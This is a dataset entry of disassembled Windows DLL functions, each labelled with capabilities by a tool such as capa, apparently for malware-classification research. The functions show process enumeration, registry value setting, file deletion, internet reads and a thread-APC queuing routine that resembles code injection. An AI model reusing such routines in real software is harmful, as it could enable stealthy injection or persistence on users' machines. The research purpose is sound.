joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180008ce8
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows
Set registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
xor ebp, ebp
call fcn.180004730
lea r11, [rsp + 0x30]
lea rax, [rsp + 0x30]
lea r8, [rsp + 0x30]
lea rdx, [0x18005e1b8]
lea rcx, [0x18005d750]
xor r9d, r9d
mov dword [rsp + 0x28], 1
and dword [rsp + 0x20], ebp
mov qword [rsp + 0x38], r11
mov qword [rsp + 0x30], rax
call fcn.180017268
test eax, eax
je 0x180008db5
mov rbx, qword [rsp + 0x30]
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x68]
lea rcx, [rbx + 0x28]
mov rsi, rbx
call fcn.180016f34
test eax, eax
jne 0x180008d88
mov rcx, qword [rsp + 0x68]
lea rdx, [0x18005e17a]
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
jne 0x180008d88
lea r9d, [rax + 2]
lea r8d, [rax + 0x30]
lea rdx, [0x18005e17a]
lea rcx, [rbx + 0x28]
call fcn.180017098
mov rcx, qword [rsi]
mov rax, qword [rsi + 8]
mov rbx, qword [rbx]
mov qword [rax], rcx
mov qword [rcx + 8], rax
mov rcx, qword [0x180059270]
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea r11, [rsp + 0x30]
cmp rbx, r11
jne 0x180008d3f
movzx ebx, byte [0x180059444]
movzx edi, byte [0x180059445]
cmp ebx, 6
jb 0x180008e44
and dword [rsp + 0x68], ebp
lea r8, [rsp + 0x70]
lea rdx, [0x18005d7dc]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x180008e1c
mov rcx, qword [rsp + 0x70]
lea r9d, [rax + 4]
lea rax, [rsp + 0x68]
mov dword [rsp + 0x28], r9d
lea rdx, [0x18005d922]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp ebx, 6
ja 0x180008e26
cmp edi, 2
jb 0x180008e44
mov r9d, 1
lea r8, [0x180058408]
lea rcx, [0x1800583f0]
mov edx, r9d
call fcn.180010574
mov ebp, eax
xor ebx, ebx
mov dword [rsp + 0x60], 0x10000
test rbx, rbx
je 0x180008e65
mov rcx, qword [0x180059270]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8d, dword [rsp + 0x60]
mov rcx, qword [0x180059270]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x180008ea4
mov r8d, dword [rsp + 0x60]
lea r9, [rsp + 0x60]
mov rdx, rax
mov ecx, 5
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov edi, eax
cmp eax, 0xc0000004
jne 0x180008ea9
jmp 0x180008e4e
mov edi, 0xc000009a
test edi, edi
js 0x180008ed3
lea rdx, [0x180059508]
mov rcx, rbx
call fcn.180008c4c
cmp dword [rbx], 0
je 0x180008ec8
mov ecx, dword [rbx]
add rbx, rcx
jmp 0x180008eca
xor ebx, ebx
test rbx, rbx
je 0x180008ed3
test eax, eax
jne 0x180008ead
mov ecx, edi
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov rbx, qword [rsp + 0x78]
mov eax, ebp
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
Function at 0x180009724
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
sub rsp, 0x40
mov rsi, rdx
mov rbx, rcx
xor edi, edi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea r8d, [rdi + 3]
mov qword [rsp + 0x30], rdi
lea r9, [0x180059480]
mov edx, 0x80000000
mov rcx, rbx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x20], r8d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x180009820
lea r9d, [rdi + 1]
lea rdx, [0x18005d3e4]
lea rcx, [rsp + 0x70]
xor r8d, r8d
call fcn.180018a70
mov rbx, rax
cmp rax, rdi
je 0x180009810
xor edx, edx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetFileSize]
lea r8d, [rdi + 2]
lea rdx, [0x180059480]
xor r9d, r9d
mov rcx, rbp
mov qword [rsp + 0x28], rbx
mov r12d, eax
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp rax, rdi
je 0x1800097f4
mov rcx, rbx
mov dword [rsi + 0x10], edi
mov qword [rsi], rax
mov dword [rsi + 8], r12d
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, [rsi + 0x14]
mov rdx, rbx
mov dword [rsi + 0xc], eax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x1800097fc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rcx, qword [0x180059270]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x180009815
mov edi, 8
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180009828
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov eax, edi
add rsp, 0x40
pop r12
pop rdi
pop rsi
ret
Function at 0x180009840
Capabilities:
Create process on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
push rsi
push rdi
push r12
sub rsp, 0xf0
xor edi, edi
mov r12, rcx
lea rcx, [rax - 0x80]
and dword [rax + 0x18], edi
lea r8d, [rdi + 0x60]
xor edx, edx
call sub.ntdll.dll_memset
and qword [rsp + 0x50], rdi
xor eax, eax
xor ecx, ecx
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x80], 0x68
xor ebx, ebx
call fcn.180016ea4
mov rsi, rax
test rax, rax
je 0x1800098f3
mov edx, 0x104
mov rcx, rax
call fcn.18001a09c
mov rbp, rax
test rax, rax
je 0x1800098da
mov rcx, rax
call qword [sym.imp.SHELL32.dll_PathGetShortPath]
mov rcx, rbp
mov rbx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rdx, rbp
mov rcx, rsi
inc eax
movsxd r8, eax
call qword [sym.imp.ntdll.dll_wcstombs]
mov r8, rbp
jmp 0x1800098dd
mov r8, rsi
mov rcx, qword [0x180059270]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rbx, rbx
cmovne rdi, rbx
lea rax, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov rdx, r12
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
and qword [rsp + 0x30], 0
xor ecx, ecx
mov dword [rsp + 0x28], 0xc000000
and dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1800099a6
mov rax, qword [0x180059460]
xor r8d, r8d
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x50]
lea ecx, [r8 + 2]
or r9d, 0xffffffff
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x120], eax
test eax, eax
jne 0x18000997b
mov dword [rsp + 0x120], 0x102
jmp 0x18000998e
mov rcx, qword [rsp + 0x50]
lea rdx, [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800099b3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x120], eax
test rbx, rbx
je 0x1800099ca
mov rcx, qword [0x180059270]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [rsp + 0x120]
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
Function at 0x180009ff0
Capabilities:
Delete file

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x20
mov ecx, 0xf00
xor ebx, ebx
call fcn.180017950
mov rdi, rax
cmp rax, rbx
je 0x18000a0fe
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, [0x18005dda4]
mov rdx, rdi
mov dword [rsp + 0x40], eax
dec eax
mov byte [rax + rdi], bl
mov esi, eax
call fcn.180009cb4
cmp eax, ebx
jne 0x18000a0ec
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov rcx, rdi
mov byte [rsi + rdi], 0x31
call fcn.180017030
cmp eax, ebx
jne 0x18000a0e3
mov edx, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
lea r9, [rsp + 0x48]
lea r8, [0x18005ddd5]
call fcn.18001a99c
cmp rax, rbx
je 0x18000a0cf
mov edx, dword [rsp + 0x40]
mov rsi, rax
sub eax, dword [rsp + 0x50]
add eax, dword [rsp + 0x48]
lea r9, [rsp + 0x48]
lea r8, [0x18005ddd5]
mov ecx, eax
sub edx, eax
add rcx, qword [rsp + 0x50]
call fcn.18001a99c
cmp rax, rbx
jne 0x18000a078
cmp rsi, rbx
je 0x18000a0cf
mov eax, dword [rsp + 0x48]
lea rdx, str._s:_r
mov rcx, rsi
mov byte [rax + rsi], bl
call qword [sym.imp.SHLWAPI.dll_StrTrimA]
xor edx, edx
mov rcx, rsi
call fcn.18001a018
mov rbx, rax
mov r8, qword [rsp + 0x50]
mov rcx, qword [0x180059270]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, qword [0x180059270]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov byte [rbx + 1], 0x34
mov rax, rbx
add rsp, 0x20
pop rdi
pop rsi
pop rbx
ret

Function at 0x18000a110
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov rbp, rcx
mov ecx, 0x929
mov esi, r9d
mov r12d, r8d
mov r13, rdx
mov edi, 0x3ee
call fcn.180017950
mov rbx, rax
test rax, rax
je 0x18000a190
mov r9d, 1
mov r8d, r12d
mov rdx, r13
mov rcx, rax
call fcn.1800171f0
mov edi, eax
test eax, eax
jne 0x18000a175
mov r8d, esi
mov rdx, rbx
mov rcx, rbp
call fcn.180009b98
mov edi, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, qword [0x180059270]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov eax, edi
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x18000a1ac
Capabilities:
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x40
mov rbp, r8
mov r12, rdx
mov rdx, rcx
lea r8, [rax - 0x18]
mov rcx, 0xffffffff80000001
mov esi, r9d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov ebx, eax
test eax, eax
jne 0x18000a2a7
test rbp, rbp
je 0x18000a278
test esi, esi
je 0x18000a278
mov rcx, qword [0x180059270]
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x18000a271
mov r8, rsi
mov rdx, rbp
mov rcx, rax
call sub.ntdll.dll_memcpy
cmp dword [rsp + 0x70], ebx
je 0x18000a23b
mov r8d, dword [0x1800593d0]
xor r9d, r9d
mov edx, esi
mov rcx, rdi
call fcn.180044b30
mov rcx, qword [rsp + 0x30]
mov r9d, 3
xor r8d, r8d
mov rdx, r12
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [0x180059270]
mov r8, rdi
xor edx, edx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x18000a29c
mov ebx, 8
jmp 0x18000a29c
and dword [rsp + 0x28], 0
mov rcx, qword [rsp + 0x30]
and qword [rsp + 0x20], 0
mov r9d, 3
xor r8d, r8d
mov rdx, r12
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, eax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop r12
ret

Function at 0x18000b6d0
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
sub rsp, 0x20
lea rcx, [0x18005d884]
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp rax, rbx
je 0x18000b791
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x180059388], eax
cmp eax, 0xffffffff
je 0x18000b796
cmp byte [0x180059444], 6
ja 0x18000b74d
lea rcx, [0x18005db48]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x18005dac2]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x18005db57]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x18005db5e]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x18005d79f]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x18005db50]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x18005d90c]
call fcn.180043b94
mov r11, qword [0x1800593b0]
mov edx, 0xf
or dword [r11 + 0x34], 1
lea r8, [0x180058130]
lea rcx, [0x180057fa0]
mov r9d, edx
call fcn.180010574
mov ebx, eax
jmp 0x18000b796
mov ebx, 0x7e
mov eax, ebx
add rsp, 0x20
pop rbx
ret
Function at 0x18000b9cc
Capabilities:
Read data from internet
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push r12
sub rsp, 0x70
and dword [rax + 8], 0
or ebp, 0xffffffff
cmp byte [0x180059444], 5
mov rbx, rcx
mov rcx, qword [0x180059270]
mov eax, 0x1388
mov r12, rdx
cmovbe ebp, eax
mov r8d, 0x2000
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x18000bab5
lea r9, [rsp + 0x80]
mov r8d, 0x2000
mov rdx, rsi
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x18000ba73
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x18000ba91
mov rcx, qword [rbx + 0x60]
mov edx, ebp
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
jne 0x18000ba60
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x102
je 0x18000baa1
test eax, eax
jne 0x18000ba91
mov eax, dword [rbx + 0x50]
cmp eax, 1
je 0x18000ba91
mov r8d, dword [rsp + 0x80]
test r8d, r8d
je 0x18000ba9a
mov rcx, qword [rbx]
xor r9d, r9d
mov rdx, rsi
mov rax, qword [rcx]
call qword [rax + 0x20]
jmp 0x18000ba1e
mov dword [rbx + 0x50], 1
jmp 0x18000baa1
mov dword [rbx + 0x50], 2
mov rcx, qword [0x180059270]
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x18000babc
mov dword [rbx + 0x50], 1
mov rcx, qword [rbx]
lea rdx, [rsp + 0x20]
mov r8d, 1
mov rax, qword [rcx]
call qword [rax + 0x60]
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r12
ret

Function at 0x18000c5d8
Capabilities:
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov rbp, r9
mov r12d, r8d
mov rsi, rdx
mov rdi, rcx
xor ebx, ebx
call fcn.18000bbb0
mov r13, rax
cmp rax, rbx
je 0x18000c646
mov rdx, rdi
mov rcx, rax
call fcn.18000bae8
mov rdx, qword [rsi + 0x20]
lea r9, [rsi + 0x28]
mov r8d, dword [r9]
mov dword [rsi + 0x2c], r8d
mov rcx, qword [r13]
mov rax, qword [rcx]
call qword [rax + 0x18]
lea ecx, [rbx + 1]
lea r8, [r13 - 0x34]
cmp eax, ebx
cmove ebx, ecx
xor edx, edx
xor ecx, ecx
call fcn.18001e51c
jmp 0x18000c668
mov r9, rbp
mov r8d, r12d
mov rdx, rsi
mov rcx, rdi
cmp dword [rsp + 0x60], ebx
je 0x18000c660
call qword [sym.imp.WININET.dll_InternetReadFileExW]
jmp 0x18000c666
call qword [sym.imp.WININET.dll_InternetReadFileExA]
mov ebx, eax
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x18000eac8
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rbp, rdx
mov rsi, rcx
mov ebx, 8
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [0x180059270]
xor edx, edx
lea r8d, [rax + 5]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x18000eb83
lea rdx, [0x18005d37e]
mov r8, rsi
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov rdx, qword [0x1800593e0]
lea r8, [rsp + 0x50]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov ebx, eax
test eax, eax
jne 0x18000eb71
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [rsp + 0x50]
lea r9d, [rbx + 1]
add eax, r9d
xor r8d, r8d
mov rdx, rdi
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [0x180059270]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x18000fbe4
Capabilities:
Delete file

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x20], rbp
push rsi
push rdi
push r12
sub rsp, 0x60
and qword [r11 - 0x40], 0
mov rdi, qword [r8]
xor eax, eax
mov qword [r11 - 0x38], rax
mov r12, r9
mov rbp, r8
mov esi, 0xe8
mov qword [r11 - 0x30], rdi
mov word [rsp + 0x42], cx
mov dword [rsp + 0x44], edx
test rdi, rdi
je 0x18000fc29
inc rdi
mov qword [r11 - 0x30], rdi
mov rcx, qword [0x180059270]
xor edx, edx
lea r8d, [rdx + 0x42]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x18000fc53
lea rcx, [rsp + 0x38]
mov rdx, rax
call fcn.18000f874
mov rbx, rax
jmp 0x18000fc55
xor ebx, ebx
test rbx, rbx
je 0x18000fd1f
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x90]
mov rcx, rbx
call fcn.180016f34
mov esi, eax
test eax, eax
jne 0x18000fd0d
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov ecx, dword [rsp + 0x80]
cmp ecx, 0x10
jbe 0x18000fcc8
mov dword [rsp + 0x20], ecx
mov rcx, qword [rsp + 0x90]
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x80]
call fcn.18000f93c
mov rdi, qword [rsp + 0x48]
mov ecx, dword [rsp + 0x80]
jmp 0x18000fcca
xor eax, eax
test rax, rax
je 0x18000fce8
mov qword [r12], rax
mov rax, qword [rsp + 0xa0]
xor esi, esi
mov dword [rax], ecx
mov qword [rbp], rdi
inc rdi
jmp 0x18000fcf6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, 0xe8
mov r8, qword [rsp + 0x90]
mov rcx, qword [0x180059270]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x180059270]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [0x1800593a8]
mov rbx, qword [rax]
test rbx, rbx
je 0x18000fd7f
mov rcx, qword [rbx]
test rcx, rcx
je 0x18000fd7f
cmp dword [rbx + 0xc1c], 0
jne 0x18000fd7f
cmp dword [rbx + 0xc18], 0
jne 0x18000fd7f
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
and qword [rsp + 0x28], 0
lea rax, [0x18000f9d4]
lea rdx, [rsp + 0x38]
mov r9, rdi
xor r8d, r8d
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.18002ac4c
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea r11, [rsp + 0x60]
mov eax, esi
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
Function at 0x18000fd98
Capabilities:
Delete file

Disassembly:
mov r11, rsp
mov qword [r11 + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov rcx, qword [0x1800593a8]
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea rax, [r11 - 0x68]
lea r8, [r11 - 0x68]
lea rdx, [0x18005db40]
mov qword [r11 - 0x60], rax
lea rax, [r11 - 0x68]
add rcx, 8
xor r9d, r9d
mov qword [r11 - 0x68], rax
call fcn.180017268
test eax, eax
je 0x18000ff9f
mov rsi, qword [rsp + 0x30]
mov rbp, rsi
mov rsi, qword [rsi]
lea rcx, [rbp + 0x28]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x20
jne 0x18000ff66
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.180019ec0
test eax, eax
je 0x18000ff66
mov r8d, dword [0x1800593d0]
xor r9d, r9d
lea rcx, [rsp + 0x50]
lea edx, [r9 + 0x10]
call fcn.180044b7c
lea r8, [rsp + 0xa0]
lea rdx, [rsp + 0xa8]
lea rcx, [rbp + 0x28]
call fcn.180016f34
test eax, eax
jne 0x18000ff70
lea rcx, [rsp + 0xb0]
xor r14d, r14d
xor r15d, r15d
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r15
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov r13d, dword [rsp + 0xa0]
cmp r13d, 0x10
jbe 0x18000fed0
mov rcx, qword [rsp + 0xa8]
lea r9, [rsp + 0xb0]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0xa0]
mov dword [rsp + 0x20], r13d
call fcn.18000f93c
mov r13d, dword [rsp + 0xa0]
mov r15, qword [rsp + 0x48]
mov r14, qword [rsp + 0x40]
mov rdi, rax
jmp 0x18000fed2
xor edi, edi
test rdi, rdi
je 0x18000ff43
xor r8d, r8d
mov edx, r13d
mov rcx, rdi
mov r12d, 1
call fcn.180004da4
test eax, eax
je 0x18000ff20
mov rax, qword [0x1800593a8]
mov rcx, qword [rax]
test rcx, rcx
je 0x18000ff2f
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x50]
mov edx, r13d
mov r9, r15
mov r8, r14
mov qword [rsp + 0x20], rdi
call fcn.1800221e4
mov r12d, eax
jmp 0x18000ff2a
lea rcx, [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test r12d, r12d
je 0x18000ff4d
mov rcx, qword [0x180059270]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x18000ff4d
lea rcx, [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov r8, qword [rsp + 0xa8]
mov rcx, qword [0x180059270]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x18000ff70
lea rcx, [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rbp]
mov rax, qword [rbp + 8]
mov r8, rbp
mov qword [rax], rcx
mov qword [rcx + 8], rax
mov rcx, qword [0x180059270]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea r11, [rsp + 0x30]
cmp rsi, r11
jne 0x18000fdf3
mov rbx, qword [rsp + 0xb8]
add rsp, 0x60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18001063c
Capabilities:
Enumerate threads

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x40
and dword [rax - 0x28], 0
xor edx, edx
mov rbx, rcx
lea r8d, [rdx + 0x18]
lea rcx, [rax - 0x24]
call sub.ntdll.dll_memset
test rbx, rbx
je 0x180010670
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov dword [rsp + 0x20], 0x1c
lea ecx, [rdx + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180010716
lea rcx, [0x18005d01d]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x18005dfab]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x20]
mov rcx, rbx
mov rsi, rax
call sub.KERNEL32.dll_Thread32First
jmp 0x180010709
mov ecx, dword [0x180059440]
cmp dword [rsp + 0x2c], ecx
jne 0x1800106fc
mov r8d, dword [rsp + 0x28]
xor edx, edx
mov ecx, 0x1f03ff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x1800106fc
xor r8d, r8d
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x1800106be
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret

Function at 0x180010de0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x60
and qword [r11 - 0x38], 0
xor eax, eax
mov rbp, rdx
mov r12d, r9d
mov edi, r8d
mov rsi, rcx
lea edx, [rax + 1]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [r11 - 0x30], rax
mov qword [r11 - 0x28], rax
mov qword [r11 - 0x20], rax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0x58], rax
test rax, rax
je 0x180010ef4
mov rcx, qword [0x180059460]
and dword [rsp + 0x88], 0
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x40]
lea r9, [rsp + 0x88]
mov r8d, edi
mov rdx, rbp
mov rcx, rsi
mov qword [rsp + 0x20], rax
test r12d, r12d
je 0x180010e72
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x180010e78
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x180010ec3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp eax, 0x3e5
jne 0x180010ee1
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov r9d, 0x2710
lea ecx, [r8 + 2]
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov rcx, rsi
mov ebx, eax
cmp eax, 1
jne 0x180010edb
lea r8, [rsp + 0x88]
lea rdx, [rsp + 0x40]
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_GetOverlappedResult]
mov eax, dword [rsp + 0x88]
add rbp, rax
